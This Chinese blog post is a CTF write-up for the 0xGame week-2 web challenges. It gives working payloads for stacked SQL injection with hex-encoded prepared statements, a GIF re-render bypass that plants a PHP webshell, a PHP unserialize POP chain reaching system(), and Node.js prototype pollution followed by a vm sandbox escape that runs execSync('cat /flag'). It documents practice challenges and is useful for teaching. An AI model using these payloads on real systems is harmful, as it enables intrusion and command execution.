0xGame week2-WEB wp

ez_sqli

看看hint:

那应该就是用堆叠注入,估计其他的关键字会给ban了。

还是借用官方wp的解释:

首先,MySQL ⽀持 SQL 语句的预处理 (set prepare execute), 这个⽹上搜搜也能找到对应的⽂章和 payload:
prepare stmt from 'SELECT * FROM users WHERE id=?';
set @id=1;
execute stmt using @id;

只有order by这里可以写,随便点一个找到回显点:

因为利⽤ updatexml 报错注⼊会有⻓度限制, 所以使⽤ substr 截取 flag 内容:
# step 1
select updatexml(1,concat(0x7e,(select substr((select flag from flag),1,31)),0x7e),1);
# step 2
select updatexml(1,concat(0x7e,(select substr((select flag from flag),31,99)),0x7e),1);

试了试,select,空格啥的也确实被ban了。

payload如下:

# step 1
id;set/**/@a=0x73656c65637420757064617465786d6c28312c636f6e63617428307837652c2873656c65
637420737562737472282873656c65637420666c61672066726f6d20666c6167292c312c333129292c30783
765292c31293b;prepare/**/stmt/**/from/**/@a;execute/**/stmt;
# step 2
id;set/**/@a=0x73656c65637420757064617465786d6c28312c636f6e63617428307837652c2873656c65
637420737562737472282873656c65637420666c61672066726f6d20666c6167292c33312c393929292c307
83765292c31293b;prepare/**/stmt/**/from/**/@a;execute/**/stmt;

第一步debug里出了一半:

第二步出另一半:

ez_upload

先看hint,发现是个二次渲染,然后找了一些文章,发现gif的二次渲染思路最简单,意思就是先传一个原始gif图片,然后把网站上二次渲染后的图片下载下来与原图片在010editor里面进行比对,在未进行渲染处理的相同部分后面加上php一句话木马(原图片后面加),然后再传上去,改包后缀名为php直接连蚁剑或着hackbar。

直接访问这个图片地址然后下载下来,命名为2.gif:

在原图灰色部分(相同未渲染部分)直接修改,注意是修改不是增加。

再传修改后的原图,改包:

ez_unserialize

又是老生常谈的反序列化,这个反序列化就是一个简单的pop链构造。

一般来说__destruct ⽅法这里会作为入口。
 <?php

show_source(__FILE__);

class Cache {
    public $key;
    public $value;
    public $expired;
    public $helper;

    public function __construct($key, $value, $helper) {
        $this->key = $key;
        $this->value = $value;
        $this->helper = $helper;

        $this->expired = False;
    }

    public function __wakeup() {
        $this->expired = False;
    }

    public function expired() {
        if ($this->expired) {
            $this->helper->clean($this->key);
            return True;
        } else {
            return False;
        }
    }
}

class Storage {
    public $store;

    public function __construct() {
        $this->store = array();
    }
    
    public function __set($name, $value) {
        if (!$this->store) {
            $this->store = array();
        }

        if (!$value->expired()) {
            $this->store[$name] = $value;
        }
    }

    public function __get($name) {
        return $this->data[$name];
    }
}

class Helper {
    public $funcs;

    public function __construct($funcs) {
        $this->funcs = $funcs;
    }

    public function __call($name, $args) {
        $this->funcs[$name](...$args);
    }
}

class DataObject {
    public $storage;
    public $data;

    public function __destruct() {
        foreach ($this->data as $key => $value) {
            $this->storage->$key = $value;
        }
    }
}

if (isset($_GET['u'])) {
    unserialize($_GET['u']);
}
?> 

其实hint一出已经很清晰了,甚至链子都告诉你了。

但是有一个地方数组的赋值有点恶心,需要深刻理解函数才能知道pop链的正确环节。

 <?php
class Cache {
    public $key;
    public $value;
    public $expired;
    public $helper;
}

class Storage {
    public $store;
}

class Helper {
    public $funcs;
}

class DataObject {
    public $storage;
    public $data;
}


$d = new DataObject();
$s = new Storage();
$c1 = new Cache();
$c2 = new Cache();
$h = new Helper();

$d->storage = $s;
$h->funcs = array('clean' => 'system');
$c1->expired = False;
$c2->helper = $h;
$c2->key = 'ls';

$s->store = &$c2->expired;
$d->data = array('key1' => $c1, 'key2' => $c2); //放入Cache1和Cache2,两个实例
$d->storage = $s;

echo urlencode(serialize($d));
//unserialize($_GET['u']);
?> 

这里我借用官方wp的解释:

绕过__wakeup新姿势:

 

结果我ls / 没有在根目录找到flag,网页目录上下级也没找到,问了出题人告诉我在环境变量....

用printenv和env都可以。

ez_sandbox

刚好前段时间打我们学校招新赛遇到了python的原型链污染,这次又遇到了js的。

首先打开页面,是一个登录页面:

贴一个源码:

const crypto = require('crypto')
const vm = require('vm');

const express = require('express')
const session = require('express-session')
const bodyParser = require('body-parser')

var app = express()

app.use(bodyParser.json())
app.use(session({
    secret: crypto.randomBytes(64).toString('hex'),
    resave: false,
    saveUninitialized: true
}))

var users = {}
var admins = {}

function merge(target, source) {
    for (let key in source) {
        if (key === '__proto__') {
            continue
        }
        if (key in source && key in target) {
            merge(target[key], source[key])
        } else {
            target[key] = source[key]
        }
    }
    return target
}

function clone(source) {
    return merge({}, source)
}

function waf(code) {
    let blacklist = ['constructor', 'mainModule', 'require', 'child_process', 'process', 'exec', 'execSync', 'execFile', 'execFileSync', 'spawn', 'spawnSync', 'fork']
    for (let v of blacklist) {
        if (code.includes(v)) {
            throw new Error(v + ' is banned')
        }
    }
}

function requireLogin(req, res, next) {
    if (!req.session.user) {
        res.redirect('/login')
    } else {
        next()
    }
}

app.use(function(req, res, next) {
    for (let key in Object.prototype) {
        delete Object.prototype[key]
    }
    next()
})

app.get('/', requireLogin, function(req, res) {
    res.sendFile(__dirname + '/public/index.html')
})

app.get('/login', function(req, res) {
    res.sendFile(__dirname + '/public/login.html')
})

app.get('/register', function(req, res) {
    res.sendFile(__dirname + '/public/register.html')
})

app.post('/login', function(req, res) {
    let { username, password } = clone(req.body)

    if (username in users && password === users[username]) {
        req.session.user = username

        if (username in admins) {
            req.session.role = 'admin'
        } else {
            req.session.role = 'guest'
        }

        res.send({
            'message': 'login success'
        })
    } else {
        res.send({
            'message': 'login failed'
        })
    }
})

app.post('/register', function(req, res) {
    let { username, password } = clone(req.body)

    if (username in users) {
        res.send({
            'message': 'register failed'
        })
    } else {
        users[username] = password
        res.send({
            'message': 'register success'
        })
    }
})

app.get('/profile', requireLogin, function(req, res) {
    res.send({
        'user': req.session.user,
        'role': req.session.role
    })
})

app.post('/sandbox', requireLogin, function(req, res) {
    if (req.session.role === 'admin') {
        let code = req.body.code
        let sandbox = Object.create(null)
        let context = vm.createContext(sandbox)
        
        try {
            waf(code)
            let result = vm.runInContext(code, context)
            res.send({
                'result': result
            })
        } catch (e) {
            res.send({
                'result': e.message
            })
        }
    } else {
        res.send({
            'result': 'Your role is not admin, so you can not run any code'
        })
    }
})

app.get('/logout', requireLogin, function(req, res) {
    req.session.destroy()
    res.redirect('/login')
})

app.listen(3000, function() {
    console.log('server start listening on :3000')
})

先审计一下代码,显然有login和register路由,

又发现这里有个clone(req.body),这里应该是登录成admin需要利用的。

这里也说明必须是admin才能进行下一步。

接下来,看到这个merge就知道肯定是原型链污染了:

关键方法__proto__给ban了,但是还可以用constructor.prototype就能绕过。

黑名单ban掉了很多东西,但是可以用字符串拼接的方式,直接用+就能绕过。

 

梳理一下思路,首先肯定是随便注册一个号,然后想办法让login这部分下的username in admins的值为真,然后就会给你一个admin的session,目的就达到了。

这个办法就是,使用prototype给post进去一个跟我们注册时名字相同的对象到admins里面去,污染成功后判断条件就正确了。

譬如我先注册我EddieMurphy的号,在登录时 POST 如下内容:

{
  "username": "EddieMurphy",
  "password": "EddieMurphy",
  "constructor": {
    "prototype": {
      "EddieMurphy": "114514"
     }
   }
}

改成:

成功:

进去后就是个沙箱逃逸了。

上面也分析过,就算这些函数都给ban了,也可以用+拼接起来。网上payload还是挺多的。

具体Nodejs沙箱逃逸可以看看官方wp推的文章:

NodeJS VM和VM2沙箱逃逸 - 先知社区 (aliyun.com)

官方方法:

// method 1
throw new Proxy({}, { // Proxy 对象⽤于创建对某⼀对象的代理, 以实现属性和⽅法的拦截
get: function(){ // 访问这个对象的任意⼀个属性都会执⾏ get 指向的函数
const c = arguments.callee.caller
const p = (c['constru'+'ctor']['constru'+'ctor']('return pro'+'cess'))()
return p['mainM'+'odule']['requi'+'re']('child_pr'+'ocess')['ex'+'ecSync']('cat /flag').toString();
 }
})
// method 2
let obj = {} // 针对该对象的 message 属性定义⼀个 getter, 当访问 obj.message 时会调⽤对应的函数
obj.__defineGetter__('message', function(){
const c = arguments.callee.caller
const p = (c['constru'+'ctor']['constru'+'ctor']('return pro'+'cess'))()
return p['mainM'+'odule']['requi'+'re']('child_pr'+'ocess')['ex'+'ecSync']('cat /flag').toString();
})
throw obj

 

另一个payload同理。

posted @ 2023-10-17 16:42  Eddie_Murphy  阅读(94)  评论(0编辑  收藏  举报